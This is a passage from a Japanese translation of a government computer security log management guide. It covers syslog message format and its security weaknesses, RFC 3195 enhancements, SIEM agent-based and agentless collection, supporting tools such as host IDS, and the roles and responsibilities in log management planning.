ログ管理インフラストラクチャには一般に、この項で説明した機能のほとんど、または全部が含まれる。3.1項では、ログ管理インフラストラクチャの構成要素およびアーキテクチャについて述べる。どのログ機能をインフラストラクチャ内の 3 階層にどのように配置するかは、主として、使用するログ管理ソフトウェアの種類によって異なる。ログ管理ソフトウェアの種類としては、syslog ベースの一元管理ログソフトウェアおよび SIEM ソフトウェアの 2 つが有力であり、一般的にはこのいずれかを使用してログ管理インフラストラクチャを構築することになる。3.3項～3.4項では、これら 2 つの種類について説明する。3.5項では、ログ管理インフラストラクチャ内で役立つそのほかの種類のソフトウェアについて説明する。

---

[25] 連邦政府機関には、FIPS で承認されたアルゴリズムと FIPS で検証された暗号モジュールを使用することが義務付けられている。SHA は FIPS 承認済みアルゴリズムであるが、MD5 はそうでないため、連邦政府機関は MD5 でなく SHA を使用する必要がある。FIPS のテストに関する調整作業は、NIST の暗号モジュール試験及び認証制度（CMVP：Cryptographic Module Validation Program）に基づいて行われている。CMVP の Web サイトは http://csrc.nist.gov/cryptval/にある。FIPS 180-2『*Secure Hash Standard*』は、http://csrc.nist.gov/publications/fips/fips180-2/fips180-2withchangenotice.pdfで入手できる。これまで最も一般的に使用されてきた SHA のバージョンは SHA-1 であるが、NIST は、連邦政府機関は 2010 年までに SHA-1 から SHA のより強力な形式（SHA-224、SHA-256 など）に移行することを計画すべきであると発表している。詳細については、2004 年 8 月にhttp://csrc.nist.gov/hash_standards_comments.pdfに公開された NIST のコメント、および http://www.nsrl.nist.gov/collision.htmlを参照のこと。メッセージダイジェストを生成するオペレーティングシステムまたはアプリケーションが SHA-256 をサポートしている場合は、SHA-224 や SHA-1 ではなく、SHA-256 を使用することを検討すべきである。

3.3. syslog ベースの一元管理ログソフトウェア

syslog プロトコルに基づくログ管理インフラストラクチャでは、各ログ生成元は、概要レベルでは共通の形式でログを生成しているだけでなく、別のホストで動作する syslog サーバへのログ項目の転送も共通の基本メカニズムを使用する[26]。syslog はログ項目の生成、格納、転送に関する統一的な枠組みであり、これに対応して設計されたすべての OS、セキュリティソフトウェア、アプリケーションで使用できる。多くのログ生成元は、原本のログを生成時点で、syslog 形式で記録する方式を採用しているか、原本のログの形式を syslog 形式に変換できる機能を備えている。3.3.1項では、syslog メッセージの形式について説明する。3.3.2項では、syslog の一般的な実装が備えるセキュリティ機能について述べる[27]。

3.3.1. syslog 形式

syslog では、次の属性の重要度に基づいて各メッセージに優先度が割り当てられる。

- **メッセージの種類（*ファシリティ*と呼ばれる）** カーネルメッセージ、メールシステムメッセージ、承認メッセージ、プリンタメッセージ、監査メッセージなどがある。
- **重大度** 各メッセージに、重大度として 0（緊急）～7（デバッグ）の値が割り当てられる[28]。

syslog では、どのメッセージをより迅速に処理すべきかの判定を行うために、優先度を付与したメッセージを利用する。たとえば、優先度の高いメッセージの転送処理は、低いメッセージよりも先に実行される。ただし、個々のメッセージに対応して実施される措置の内容は、優先度に影響されない。syslog では、各メッセージのファシリティおよび重大度に基づいて、異なるログ項目処理を行うように設定することができる。たとえば重大度 0 のカーネルメッセージは詳細レビューのために一元管理サーバへと転送し、重大度 7 のメッセージは転送せず単に記録するというように扱いを区別できる。しかしながら、メッセージの処理方法に関しては、syslog にはこれよりも粒度の細かい指定はできない。つまり、syslog では、メッセージの生成元の違いやメッセージの内容に違いに基づいて処理を分けることはできない。

syslog の仕様はひじょうに単純であり、個々の syslog メッセージは、3 つのパートのみから構成される。第 1 のパートは、ファシリティおよび重大度を数値で指定する。第 2 のパートには、タイムスタンプと、ログ生成元のホスト名または IP アドレスが含まれる。第 3 のパートは実際のログメッセージ内容である。メッセージ内容に標準のフィールドは定義されていない。人が読めることが意図されており、コンピュータで容易に解析を行えるようにはなっていない。ログ生成元にとっては、重要と考えられるすべての情報を内容フィールドに含めることができ、ひじょうに柔軟であるが、ログデータの自動分析はひじょうに困難となる。1 つの生成元が多数の異なるログメッセージ形式を使用する可能性があるため、分析プログラムは、各々の形式のログメッセージを分析できることが必要であるし、各形式のフィールドに含まれるデータの意味をも抽出できるようにする必要がある。ログメッセージの生成元の数が多ければ、この問題はよりいっそう困難になる。場合によっては、すべてのログメッセージの意味を認識することは現実的でないとして、分析の方法をキーワードやパターンの検索のみに限定することも考えられる。組織によっては、syslog インフラストラクチャを設計する際に似た種

---

[26] syslog は長年にわたってログの生成および格納に使用されているが、公式には標準化されていない。RFC 3164『*The BSD Syslog Protocol*』（http://www.ietf.org/rfc/rfc3164.txt）は参考情報レベルの文書であり、厳密には標準として認められたものではない。syslog に標準規格が存在しないため、syslog の既存の実装は互いに大きく異なるものとなっている。

[27] syslog の実装は無料のものがほとんどであるが、商用の実装も一部存在する。

[28] 実際には、ログ生成元によっては、本来意図された目的と異なる方法で重大度値が使用されている。たとえば、イベントの重大度と関係なくログメッセージの種類を示すために重大度の値が割り当てられることがある。重大度値の割り当て方法が異なるメッセージを syslog サーバが受け取る場合、ログ分析プロセスの複雑さは大幅に増大する可能性がある。

類のメッセージを同じグループにまとめたり、似通ったコードを割り当てたりすることにより、ログ分析の自動化を容易にしている。図 3-1 に syslog メッセージの例をいくつか示す。

```
Mar  1 06:25:43 server1 sshd[23170]: Accepted publickey for server2 from
172.30.128.115 port 21011 ssh2

Mar  1 07:16:42 server1 sshd[9326]: Accepted password for murugiah from
10.20.30.108 port 1070 ssh2

Mar  1 07:16:53 server1 sshd[22938]: reverse mapping checking getaddrinfo for
ip10.165.nist.gov failed - POSSIBLE BREAKIN ATTEMPT!

Mar  1 07:26:28 server1 sshd[22572]: Accepted publickey for server2 from
172.30.128.115 port 30606 ssh2

Mar  1 07:28:33 server1 su: BAD SU kkent to root on /dev/ttyp2

Mar  1 07:28:41 server1 su: kkent to root on /dev/ttyp2
```

図 3-1. syslog メッセージの例

3.3.2. syslog のセキュリティ

syslog は、ログのセキュリティに対する関心が大きくなかった時代に開発された。このため syslog は、ログの機密性、完全性および可用性を守るための基本的なセキュリティ管理策をサポートしていない。たとえば、ほとんどの syslog の実装では、ホスト間のログの通信に信頼性の低いコネクションレスプロトコルである UDP（User Datagram Protocol）を採用している。UDP は、ログ項目が確実に受信されることも、到達の順序が正しいことも保証していない。また、syslog を実装するにあたって、アクセス制御もほとんど行われていないため、その他のセキュリティ管理策が導入されない限りは、すべてのホストが syslog サーバにメッセージを送信できる。その他のセキュリティ管理策とは、たとえば、物理的に分離されたログ用ネットワークを介して syslog サーバとの通信を行うことや、syslog サーバにメッセージを送信できるホストを限定するためにネットワーク装置にアクセス制御リストを導入することなどである。攻撃者がこのことを利用して syslog サーバに無意味なログデータを大量に送りつけると、重要なログ項目が見落とされたり、場合によってはサービス運用が妨げられたりする可能性がある。syslog の実装において、よくみられるもう 1 つの問題は、暗号化を使用して通信中のログの完全性と機密性を保護できないことである。ネットワーク上では、システム構成やセキュリティ上の弱点に関する秘密の情報を含んだ syslog メッセージが攻撃者に監視される可能性がある。また、通信中のメッセージが介入者攻撃によって改変または破棄される可能性もある[29]。

ログのセキュリティ問題が重要になってくるに従い、セキュリティを重視した syslog の実装がいくつか作られるようになった[30]。そのほとんどは、syslog のセキュリティ向上を目的として策定された標準案 RFC 3195 に基づくものである[31]。RFC 3195 に基づく実装は、ログの機密性、完全性および可用性をサポートする次のような機能を持つ。

---

[29] RFC 3164 のセクション 6 に、syslog の実装が抱えるセキュリティ上の弱点に関する補足情報がある。

[30] 付録 D に、よく使用されている syslog の実装の一覧を示す。

[31] RFC 3195『*Reliable Delivery for syslog*』は、http://www.ietf.org/rfc/rfc3195.txtで入手できる。また、各種 syslog 標準案の改訂作業が現在進められている。syslog 標準の最新情報については、IETF（Internet Engineering Task Force）の、Security Issues in Network Event Logging（ネットワークイベントログに関するセキュリティ問題）と呼ばれる作業部会の Web サイト（http://www.ietf.org/html.charters/syslog-charter.html）を参照のこと。

- **信頼性の高いログ配信** いくつかの syslog の実装は、UDP に加えて TCP（Transmission Control Protocol）の使用をサポートしている。TCP は、ネットワーク経由での確実な情報配信の実現を目指すコネクション指向のプロトコルである。TCP を使用することで、送信先にログ項目を確実に到達させることができる。信頼性の実現に伴せて、必要となるネットワーク帯域幅は増大し、ログ項目が送信先に到達するまでの所要時間も長くなるのが普通である。一部の syslog の実装では、3.1 項で述べたログキャッシュ用サーバを使用する。

- **通信の機密性保護** RFC 3195 では、通信する syslog メッセージの機密性を保護するために TLS（Transport Layer Security）の使用を推奨している[32]。これを使用すると、ホスト間の通信経路全体にわたってメッセージを保護できる。TLS は、パケットのペイロードだけを保護するものであり、IP ヘッダは保護しないため、通信される syslog メッセージの送信元および送信先はネットワーク上の観測者によって特定され得る。その結果、syslog サーバおよびログ送信元の IP アドレスは知られる可能性がある。一部の syslog の実装には、syslog メッセージの受け渡しを SSH（Secure Shell）トンネリング経由で行うなど、ほかの手段によってネットワークトラフィックの暗号化を行うものがある。syslog の通信を保護すると、必要なネットワーク帯域幅が増大し、ログ項目が送信先に到達するまでの所要時間も長くなる可能性がある。

- **通信の完全性保護および認証** RFC 3195 では、完全性保護および認証を行う必要がある場合にはメッセージダイジェストアルゴリズムを使用するよう推奨している。RFC 3195 における推奨アルゴリズムは MD5 であり、RFC 3195 の改定案においては SHA-1 の使用も言及されている。SHA は FIPS 承認済みアルゴリズムであるが、MD5 はそうでないため、連邦政府機関はできるだけ MD5 でなく SHA を使用すべきである[33]。

Syslog の実装の中には、RFC 3195 に規定されていない付加機能を備えるものがある。そうした機能のうち一般的なものを次に示す。

- **強力なフィルタ** 初期の syslog の実装では、メッセージの処理を分ける方法はメッセージのファシリティと重大度しかなく、それよりも粒度の細かいフィルタ処理は不可能であった。現行の syslog ではより強力なフィルタ機能が実装されているものがある。例えば、メッセージを生成したホストまたはプログラムの相違に基づき、異なる方法でメッセージを処理するものや、正規表現に一致するメッセージ本文の内容に基づいて、メッセージを異なる方法で処理するものなどである。1 つのメッセージに複数のフィルタを適用でき、これによってさらに複雑なフィルタ処理機能を提供するものもある。

- **ログ分析** 初期の syslog サーバはログデータの分析をいっさい行わず、単にログデータの記録と転送の枠組みを提供するものであった。syslog データの分析には、管理者が別途アドオンプログラムを用意する必要があった。現在は、一部の syslog の実装に少しばかりのログ分析機能（複数ログ項目間の相関の特定など）が組み込まれている。

- **イベントへの対応** 一部の syslog の実装には、特定のイベントが検知されたときにアクションを開始する機能がある。アクションの例としては、SNMP トラップの送信、ページャや電子メールによる管理者への警告発信、別のプログラムやスクリプトの起動などがある。また、特定のイベントが検知されたことを示す syslog メッセージを新たに生成することもできる。

- **異なるメッセージ形式** 一部の syslog の実装は、syslog 形式以外のデータ、例えば、SNMP トラップなども受け付けることができる。syslog をサポートしておらず、構成変更によって

---

[32] TLS に関する標準は、RFC 2246『*The TLS Protocol Version 1.0*』（http://www.ietf.org/rfc/rfc2246.txt）に定められている。

[33] 適切な SHA アルゴリズムの選定に関する推奨事項は、3.2 項を参照のこと。

syslog に対応することもできないようなホストがある場合、そこからセキュリティイベントデータを受け取るためにこの機能が役立つことがある。

- **ログファイルの暗号化** 一部の syslog の実装は、ローテーションしたログファイルを自動的に暗号化して機密性を保護するよう設定することができる。同様のことは、OS またはサードパーティ製の暗号化プログラムを使用しても実現できる。

- **データベースへのログ格納** 一部の実装では、従来通り syslog ファイルにもログ項目を格納することができるだけでなく、データベースにもログ項目を格納できるものがある。ログ項目をデータベース形式で格納しておくことは、以後のログ分析の際にひじょうに役立つ場合がある。

- **接続数／帯域制限** 一部の実装では、一定時間内に特定の生成元から送られる syslog メッセージの数または TCP 接続の数を制限できる。これは、syslog サーバに対する DoS（サービス妨害）攻撃を防いだり、ほかの生成元から送られる syslog メッセージの取りこぼしを防ぐのに有用である。この機能においては、設計上、syslog サーバの能力を超えるような生成元からのメッセージは破棄されるため、有害なイベントによってひじょうに大量のメッセージが生成される状況下では一部のログデータが失われることがある。

初期の syslog メッセージ形式および転送プロトコルに基づく syslog の実装を使用している組織は、機密性、完全性、可用性の保護機能を強化した syslog の実装の採用を検討すべきである。そうした実装の多くは、既存の syslog の実装を直接置き換えて使用できる。syslog クライアントおよびサーバの多くは、RFC 3195 やそのほかの標準化関連作業に盛り込まれていない機能を備えているため、syslog の置き換えを評価する際には、相互運用性、すなわち、同じシステム上で、問題なく動作することができるかについては、格別の注意を払うべきである。また、SIEM ソフトウェア（3.4項を参照）を使用して syslog メッセージの格納および分析を行う場合は、使用するすべての syslog クライアントおよびサーバが、当該 SIEM ソフトウェアと完全に互換性および相互運用性があることを確認すべきである。

3.4. SIEM（セキュリティ情報およびイベント管理）ソフトウェア

SIEM ソフトウェア[34]は、syslog よりも新しい種類の一元管理ログソフトウェアである[35]。SIEM 製品は、ログ分析を行う 1 基または複数のログサーバと、ログを格納する 1 基または複数のデータベースサーバから構成される[36]。ほとんどの SIEM 製品は、ログ生成元からログを収集する方法として次の 2 つをサポートしている。

- **エージェントレス** ログ生成元ホスト上に特別なソフトウェアをインストールすることなく、個々のホストから SIEM サーバがデータを受け取る。ホストにログを取りにいくサーバもあれば、ホスト側からサーバにログを送るものがある。前者では、各ホストに対して認証されたサーバが、ホストのログを定期的に取りにいく方法が一般的である。後者は、サーバに対して認証されたホストが、自身のログを定期的に転送する方法が一般的である。プッシュま

---

[34] SIEM のような製品は、セキュリティイベント管理（SEM：Eecurity Event Management）またはセキュリティ情報管理（SIM：Security Information Management）と呼ばれる場合も多い。これらよりも SIEM という用語のほうが概して幅広い意味を持つと考えられるため、この文書ではこの用語を採用する。以前は SEM（主としてインシデント対応が中心）または SIM（主として監査が中心）のいずれかに特化した製品が多かったが、現在は SEM および SIM の両機能を兼ね備える製品がほとんどであるため、SIEM と呼ぶほうがふさわしいと考えられる。この文書における用語 SIEM の使用法は絶対的なものではなく、この文書での以降の議論のための土台を提供する程度のものである。

[35] このほか、ログ管理ソフトウェアと呼ばれる種類のソフトウェアもある。その種の製品は、SIEM 製品と似た機能を持つものもあるが、普通は幅広い種類のログ項目を扱うことを目的とする。セキュリティ関連ログ項目の分析に主眼を置くものではないため、性質上、この文書で扱う対象には含まれていない。ただし、これは、ログ管理ソフトウェアと呼ばれる製品をコンピュータセキュリティログ管理に使用できないことを意味するものではない。

[36] ほぼすべての SIEM 製品は商用製品である。

たはプルのいずれの場合も、収集したログにおけるイベントのフィルタ処理と集約処理、ログの正規化、および分析処理は、サーバ側が実行する。

- **エージェントベース** ログ生成元ホストにエージェントプログラムをインストールする。エージェントは、特定の種類のログを対象にイベントのフィルタ処理と集約処理およびログの正規化処理を実行する。その上で、正規化したログデータを、通常はリアルタイムまたはそれに準ずる方法で、分析および格納のために SIEM サーバへと通信する。対象ログの種類が複数あるホストでは、複数のエージェントをインストールすることが必要な場合がある。SIEM 製品の中には、syslog や SNMP などの汎用的な形式を扱うエージェントを提供するものもある。汎用のエージェントは、主として、特定の形式専用のエージェントによる方法、あるいはエージェントレスによる方法で対応できないログデータを生成元から取得する場合に使用する。製品によっては、サポートされていないログ生成元を扱うことができるように、管理者が独自のエージェントを作成できるようにしているものもある。

いずれの方法にも、それぞれの長所と短所がある。エージェントレスの最大の長所は、個々のログ生成元ホストにおいてエージェントのインストール、構成および保守を行う必要がないことである。最大の短所は、個別ホストレベルでフィルタ処理と集約処理を実行する機能がないため、ネットワーク経由で転送されるデータの量が膨大になり、ログのフィルタ処理と分析に多くの時間を要する可能性があることである。また、個々のログ生成元ホストに対する認証のためのクレデンシャルを SIEM サーバが持たなければならない可能性があることも短所の 1 つと考えられる。エージェントベースかエージェントレスのいずれか一方のみが可能な場合もある。たとえば、ホストによっては、エージェントをインストールせず、リモートでログを収集するより他には手段が存在しないことがある。

通常、SIEM 製品は数十種類のログ生成元をサポートする。たとえば、OS、セキュリティソフトウェア、アプリケーションサーバ（Web サーバ、電子メールサーバなど）、さらには、物理的セキュリティ管理装置（ID カードリーダなど）にさえ対応しているのが一般的である。一般に、SIEM ソフトウェアはサポートするログ生成元の種類に応じて（syslog などの汎用形式を除き）、ログに記録される最も重要なフィールド群をきちんと識別し、分類することができる（たとえば「アプリケーション XYZ のログに含まれるフィールド 12 の属性値は送信元 IP アドレスを示す」といった情報をあらかじめ持っている）。ログの生成元や形式を細かく識別できないソフトウェアと比べれば、ログデータの正規化、分析および相関処理は、著しく改善される。また、コンピュータセキュリティ上重要でないデータフィールドを除外するイベント縮減機能も使用できるため、ネットワーク帯域およびデータ格納容量を節約できる可能性もある。

ログデータの受信方法（エージェントベース／エージェントレス）にかかわらず、SIEM サーバはあらゆるログ生成元から得たデータを分析し、ログ項目間のイベント相関処理を実行し、重要なイベントを特定して優先順位付けを行い[37]さらに、必要に応じてイベントの初期対応を行う。大抵の SIEM 製品は、ログ監視スタッフの作業を支援する次のような機能を備えている。

- **グラフィカルユーザインタフェース（GUI）** 潜在的な問題を明らかにしたり、個々の問題に関連するすべての入手可能なデータをレビューしたりする分析担当者の作業を支援するために専用に作られた GUI。
- **セキュリティナレッジベース** 既知の脆弱性、特定のログメッセージから考えられる状況、その他の技術的データに関する情報を含む。ログ分析者の必要に応じてナレッジベースをカスタマイズできる場合も多い。

[37] 一部の SIEM ソフトウェアでは、イベント相関処理にほかの情報源（脆弱性スキャンの結果など）から得た情報をも含め、その結果に基づいてイベントの優先順位付けができる。

- **インシデント対応状況の追跡／報告機能** さらに、強力なワークフロー機能を備える場合もある。
- **資産情報の格納および相関** たとえば、脆弱性のある OS や特に重要なホストを標的とした攻撃に高い優先度を割り当てる際に利用。

特に SIEM を対象とした標準は存在しないため、個々の SIEM 製品は、任意に選択されたデータ格納形式および通信形式を採用している。とはいえ、ログの機密性、完全性および可用性を保護する機能は一般的に備わっている。たとえば、エージェントと SIEM サーバとのネットワーク通信は、暗号化され TCP プロトコル経由で行われるのが一般的である。また、場合によっては、エージェントと SIEM サーバが互いにクレデンシャルを提示しあって認証に成功しないとデータの転送ができないことがある。（サーバにログ送信するエージェント、エージェントの設定変更を行うサーバなど）

3.5. その他のログ管理ソフトウェア

ログ管理に役立つそのほかのソフトウェアの種類としては、次のようなものがある。

- **ホストベースの侵入検知システム（IDS）** ホストベース IDS は、単一のホストの特徴と、そのホストの内部で発生しているイベントを監視し、疑わしい活動を検知する。多くの製品は、ホストの OS、セキュリティソフトウェア、アプリケーションのログを監視する。また、ログ以外にも他の情報源から得たデータをもとに疑わしい活動の検知を行う製品と、ログだけを監視する製品がある。一般的に、ログデータを使用するホストベース IDS は、既知の悪意ある活動を示すシグネチャ群を備えており、それらをログ項目と照合することによって注目すべきイベントを識別する。ただし、そうした製品は、OS ログのほか、広く普及しているセキュリティソフトウェアおよびアプリケーションを対象とし、あまり広く普及していないソフトウェアのサポートはひじょうに弱いか、まったくサポートしていないものが多い。
- **視覚化ツール** 視覚化ツールは、セキュリティイベントデータをグラフィック形式で提示する。たとえば、生成元のアドレスなど、異なるイベントを特徴づける属性値に応じてデータをグループ化または並べ替えて表示できる。分析担当者は、表示された画面をみながら、パターンを探したり操作したりできる。たとえば、既知の無害な活動を非表示にして、未知のイベントのみ表示するなどができる。視覚化ツールは、複数のホストを対象とした攻撃における一連のイベントを明らかにしたい場合など、特定の種類のログデータを分析する際にひじょうに効果的である。多くの SIEM 製品は、視覚化ツールを備えている。そうでない場合は、サードパーティ製の視覚化ツールをログ管理インフラストラクチャに追加すればよいが、組み込みのツールに比べると使いこなすのが難しいこともある。サードパーティ製ツールにデータをインポートして表示するのは比較的簡単だが、ツールを効率的に使って大規模なデータセットを少数の注目すべきイベントに絞り込む方法を習得するには、相当の努力を要する可能性がある。
- **ログローテーションユーティリティ** 管理者は、専用のサードパーティ製ユーティリティを使用してログのローテーション(世代管理)を実行できる。ログのローテーション機能がないか、あっても十分でないログ生成元については、こうしたユーティリティがログ管理の改善に役立つ。
- **ログ変換ユーティリティ** 多くのソフトウェアベンダーは、独自形式のログを標準的な形式に変換するログ変換ユーティリティを提供している。このようなユーティリティは、あまり一般的でないログ生成元のデータを(標準的な形式に変換して)ログ管理インフラストラクチャに取り込む際に役立つ（SIEM 製品が特定のログ形式をサポートしていない場合など）。また、syslog 形式のログを出力できない生成元がある環境で syslog ベースのログ管理インフラストラクチャを使用する場合にも有用である。

3.6. まとめ

ログ管理インフラストラクチャは、ログデータの生成、通信、格納、分析および廃棄に使用するハードウェア、ソフトウェア、ネットワーク、およびメディアで構成され、一般に、イベントの分析（フィルタ処理、集約、正規化、相関など）を支えるいくつかの機能を実行する。また、ログデータへのアクセスを可能にするだけでなく、ログの構文解析、参照、分析、ローテーションおよびアーカイブ、さらにログファイルの完全性チェックなどの機能を通して、ログデータの管理を支援する。

一般的に syslog ベースの一元管理ログソフトウェアまたは SIEM ソフトウェアをベースにしているログ管理インフラストラクチャは、通常、3 層の階層構造を持つよう設計される。第 1 の層は、ログデータの原本を生成するホストをカバーする。第 2 の層は、集約およびデータ格納を行う一元管理ログサーバをカバーする。第 3 の層は、ログデータの監視およびレビューに（場合によってはログサーバおよびクライアントの管理にも）使用できるコンソールをカバーする。各層間の通信は、組織の正系ネットワークを介して行われることが多いが、正系ネットワークから分離されたログ用ネットワークを経由することもある。ログ管理インフラストラクチャとシステム的に連携していないログ生成元ホスト（ネットワークに接続されていないコンピュータ、レガシーシステム、アプライアンスベースの装置など）が存在する場合は、リムーバブルメディアなどを使用してホスト上のデータをインフラストラクチャへと手作業で移動するか、さもなければ、データの管理および分析をホスト上でローカルに行うことが必要になる可能性がある。

syslog ベースの一元管理ログインフラストラクチャでは、ログ生成元各々が標準的な 1 つのログ形式を使用して、ログ項目を一元管理ログサーバへと転送する。syslog は構造がシンプルであり、かつ標準的なプロトコルであるため、多くの OS、セキュリティソフトウェアおよびアプリケーションで使用できる。本来の syslog の仕様では、イベントの処理方法をイベントの種類ごとに細かく区別する手段が用意されていない。また、データフィールドの数が少ないため、ログ生成元が多数ある場合には、個々のイベントについて記録されたデータから意味を抽出することがひじょうに難しい場合がある。syslog は、ログのセキュリティが大きな問題とされていなかった時期に開発されたため、本来の仕様には、ログの機密性、完全性および可用性を保護する機能が含まれていない。

その後、syslog 配備のセキュリティを向上すべく、より強力なセキュリティ機能を盛り込んだ各種の標準案が策定されている。また、信頼性の高いログ配信、通信の暗号化、完全性の保護、認証、強力なフィルタ処理、イベント対応の自動化、ログファイルの暗号化、イベント件数の限定など、各種の付加機能を備えたさまざまな syslog の実装が提供されている。syslog を使用する組織は、セキュリティを強化した syslog の実装の採用を検討すべきであるが、現状の標準仕様に含まれない機能が多くの syslog クライアントおよびサーバに備わっているため、同じシステム上で新旧の syslog が共存して動作できるかどうかについては、格別の注意を払うべきである。

syslog ベースのインフラストラクチャが単一の標準をベースにしているのに対し、SIEM ソフトウェアは主に非標準のデータ形式を使用する。SIEM 製品は、ログ分析を行う一元管理サーバと、ログを格納するデータベースサーバから構成される。ほとんどの SIEM 製品では、ログ生成元の各ホストにエージェントプログラムをインストールする必要がある。エージェントは、特定の種類のログを対象にフィルタ処理、集約、正規化を実行し、それらのログデータを個々のホストから一元管理 SIEM サーバにリアルタイムまたはそれに準ずる方法で転送する。一部の SIEM 製品は、エージェントを使用せず、SIEM サーバがログ生成元の各ホストからデータを取得し、通常エージェントによって実行される各種機能を SIEM サーバが実行する。

通常、SIEM 製品は、syslog などの汎用形式も含めて数十種類のログ生成元をサポートしている。SIEM 製品は一般的に、異なる種類のログ形式で記録されるフィールドの意味を識別、分類できる。そのため SIEM ベースのログ管理インフラストラクチャは、syslog ベースのインフラストラクチャと比

べ、多数のログ生成元から収集したログデータの正規化、分析および相関処理を的確に実行できることが多い。SIEM 製品には、多数の生成元から得たデータを分析し、重要なイベントを特定し、必要に応じて初期対応を行う機能がある。また、分析用の GUI、セキュリティナレッジベース、インシデント対応状況の追跡および報告機能、資産情報の格納および相関機能を備えていることがある。ログの機密性、完全性および可用性を保護する機能も SIEM 製品においては一般的である。

SIEM ソフトウェアは、syslog よりも強力かつ広範なログ管理機能を備える反面、syslog による一元管理の実装と比べて配備がひじょうに複雑になり、コストもはるかに高価になることが多い。また、エージェントが実行する処理のために、個々のホストにおけるリソースの負担もしばしば大きくなる。

syslog および SIEM ソフトウェアに加えて、ログ管理において有用と考えられるいくつかの種類のソフトウェアがある。ホストベースの侵入検知システム（IDS）は、特定のホストの特性と、そのホストの内部（OS、セキュリティソフトウェア、アプリケーションのログなど）で発生するイベントを監視する。ホストベース IDS 製品は、ログ管理インフラストラクチャの構成要素としてよく使用されるが、syslog および SIEM ソフトウェアに代わることはできない。ログ管理に役立つその他のユーティリティとしては、視覚化ツール、ログローテーションユーティリティ、ログ変換ユーティリティなどがある。

4. ログ管理計画

有用なログ管理インフラストラクチャを確立し、それを維持するためには、ログ管理の実行に関する計画およびそのほかの準備作業を綿密に行う必要がある。これは、組織のニーズや要件を実現するために行われるログ管理の活動に一貫性、信頼性、効率性を与えるとともに、組織で取り組む意義付けを行うために重要である。このセクションでは、ログ管理にかかわる役割および責任の定義と、現実的なログ管理ポリシーの策定および、ログ管理インフラストラクチャの設計について述べる。セクション 5 では、ログ管理の運用面について述べる。

4.1. 役割および責任の定義

組織では、ログ管理計画の立案作業の一環として、ログ管理に携わることになる人員やチームの役割および責任を定義すべきである。チームや個人の役割のうち、ログ管理に関係することが多いのは次のようなものである。

- **システム管理者およびネットワーク管理者** 通常、担当システムおよびネットワーク装置におけるログ管理のための設定、ログの定期的な分析、ログ管理活動の結果に関する報告、ログおよびログソフトウェアの定例的な保守について責任を負う。
- **セキュリティ管理者** 通常、ログ管理インフラストラクチャの管理および監視、セキュリティ装置（ファイアウォール、ネットワークベースの侵入検知システム、ウイルス対策サーバなど）におけるログ管理の設定、ログ管理活動の結果に関する報告、ログ管理を行うほかの人員への支援について責任を負う[38]。
- **コンピュータセキュリティインシデント対応チーム** 一部のインシデントに対応する際にログデータを使用する。
- **アプリケーション開発者** 組織のログ要件および推奨事項に従ってログを記録するように、アプリケーションを設計またはカスタマイズすることがある。
- **情報セキュリティ責任者** ログ管理インフラストラクチャを監督することがある。
- **最高情報責任者（CIO）** ログデータを生成、通信、格納する IT リソースを監督する。
- **監査員** 監査を実施する際にログデータを使用することがある。
- **ソフトウェアの調達に関与する人員** コンピュータセキュリティログデータを生成するソフトウェアの調達に関与する。

ログ管理における運用のための職務の割り当てについては、特に注意して検討する必要がある。組織によっては（特に、管理の厳格な環境下にある場合）、ログ管理を個別システムレベルで行わず、すべて一元管理する選択がなされることがある。しかし、ほとんどの組織においては、そこまで徹底した集中ログ管理は行われない。一般に、システム、ネットワーク、セキュリティの各管理者は、担当システム上のログ記録の管理作業、ログデータを対象とした定期的な分析作業、ログ管理活動の結果に関する文書化および報告作業、また、ログデータを確実に組織のポリシーに従ってログ管理インフラストラクチャに提供することについて責任を負う。さらに、組織によっては、セキュリティ管理者がログ管理インフラストラクチャ管理者の機能を兼ね、次のような責任を負うことがある。

[38] ログの分析や保守など一部のログ管理任務は、退屈で単調な作業と考えるシステム管理者、ネットワーク管理者、セキュリティ管理者は多い。担当者がやる気を失うのを防ぐために、そのような任務を管理者間でローテーションを組んで交代で行うことを検討すべきである。また、作業負荷を軽減するツールや技術を管理者に提供して、ログ管理のうちでも特に注目すべき側面に時間を割けるようにすれば、任務のつまらなさを軽減できる。

- 何らかのイベントに関する補足情報を得るため、または特定のイベントに関する調査を要求するために、システムレベルの管理者に連絡する。
- システムのログ管理のための設定（一元管理ログサーバに送信する項目およびデータフィールド、使用するログ形式など）において必要となる変更を特定し、それらをシステムレベルの管理者に伝達する。
- イベントへの初期対応を行う。これには、インシデントおよび運用上の問題（ログ管理インフラストラクチャ構成要素の故障など）への対応を含む。
- 古いログデータをリムーバブルメディアへと確実にアーカイブし、それらが不要になったあとは確実に正しい方法で廃棄する[39]。
- 弁護士、監査員などからの要求に対応する。
- ログ管理インフラストラクチャのステータス（ログソフトウェアやログアーカイブメディアの不具合、ローカルシステムからのログデータ転送のエラーなど）を監視し、問題が発生した場合は適切な対応を開始する。
- ログ管理インフラストラクチャ構成要素に対するアップグレードや更新をテストおよび適用する。
- ログ管理インフラストラクチャのセキュリティを維持する。

ログ管理インフラストラクチャ管理者のもう 1 つの重要な責務は、システムレベル管理者の業務の妥当性の検証である。組織においてログ管理任務の配分を決める際には、職務の分離および説明責任を考慮するとよい。たとえば、ある特定システムのログをシステム管理者以外の者にレビューさせることは、そのシステム管理者の活動について説明責任（ログの記録が有効化されていることの確認を含め）を確保するのに役立つ。職務の分離の考え方が及ぼす影響は大きい。組織のログ管理ポリシー、ログ管理の推進に必要なリソースはいずれも非常に大きな影響を受ける。もし、独立のレビューのために大量のログデータをログサーバへ転送したいという要請があれば、ログ管理インフラストラクチャの設計に対しても、職務分離の考え方は非常に大きな影響を与える。

分析作業をどの程度までシステムレベルの管理者が行い、どの程度までログ管理インフラストラクチャ管理者が行うかを、各組織が決定する必要がある。一般論としては、ログデータに記録されたイベントの発生した状況は、システム管理者が知っている場合が多いため、少なくともある程度の分析作業は、システムレベルで行われるべきである。たとえば、1 時間のうちにシステムが 3 回再起動されたという記録があるとする。当該システムにそのタイミングでパッチの適用作業が行われていた場合、インフラストラクチャ管理者は、その他のログ項目をレビューしたとしても、なぜそのようなことが発生したのかを明らかにすることはできないだろう。しかしながら、個別システムの管理者（ローカル管理者）は、その時点では、システムに対してパッチが適用され、再起動は意図的なものであったことが分かるはずである。システムレベルで分析を行わせるもう 1 